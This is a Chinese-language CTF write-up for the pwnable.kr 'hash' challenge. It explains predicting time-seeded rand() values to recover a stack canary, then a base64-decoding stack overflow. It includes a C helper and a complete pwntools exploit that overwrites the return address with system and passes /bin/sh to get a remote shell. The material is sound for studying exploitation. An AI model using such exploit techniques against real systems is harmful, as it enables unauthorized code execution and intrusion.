考点:
1.srand()伪随机数预测
2.栈溢出保护原理
分析:
main函数my_hash函数
process_hash函数
main函数srand采用时间作为随机种子,但是time(0)返回的是秒,所以我们可以预测到my_hash函数中出现的8次rand()的值
观察my_hash函数发现V11是canary值,但是却被用来计算,所以我们可以获取到
金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。。与上述情况类似,当栈溢出发生时,金丝雀值将在已保存的指令指针被重写前先挂掉。
观察process_hash函数发现g_buf存在bss段中,而且1024个字符base64解密之后是768个字符,所以在解密写入v3的时候可以造成溢出,而且程序中存在system函数的地址
那么整理下步骤:
1.获取canary值
2.覆盖返回地址为system
3.传入参数/bin/sh
POC:
//test.c ./test [captcha] [time]
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
int main(int a,char **b){
int cookie=atoi(b[1]);
int time=atoi(b[2]);
int rands[8];
srand(time);
for(int i=0;i<=7;i++)
{
rands[i]=rand();
//printf("rands[%d]->%#x\n",i,rands[i]);
}
cookie=cookie-rands[4]+rands[6]-rands[7]-rands[2]+rands[3]-rands[1]-rands[5];
//printf("m->%#x\n",cookie);
printf("%#x",cookie);
}
#coding:utf-8
from pwn import *
import time,os
context.log_level='debug'
p=remote("pwnable.kr", 9002)
time0=int(time.time())
p.readline()
captcha=p.readline().split(': ')[1][:-1]
p.sendline(captcha)
p.readline()
p.readline()
canary=os.popen('./test '+' '+captcha+' '+str(time0)).read().strip()
log.info('time->'+str(time0)+"\ncaptcha->"+captcha+"\ncanary->"+canary)
#填充栈
payload='A'*0x200
#canary值
payload+=p32(int(canary,16))
#继续填充
payload+='A'*0xC
#覆盖返回地址为system
payload+=p32(0x08049187)
#/bin/sh 0x0804B0E0+len(payload)此处的payload指的是base64加密之后的payload长度716
payload+=p32(0x804B3AC)
payload=b64e(payload)
#\0很重要 \0很重要 \0很重要
payload+='/bin/sh\0'
p.sendline(payload)
p.interactive()
FLAG:
Canary, Stack guard, Stack protector.. what is the correct expression?
网友评论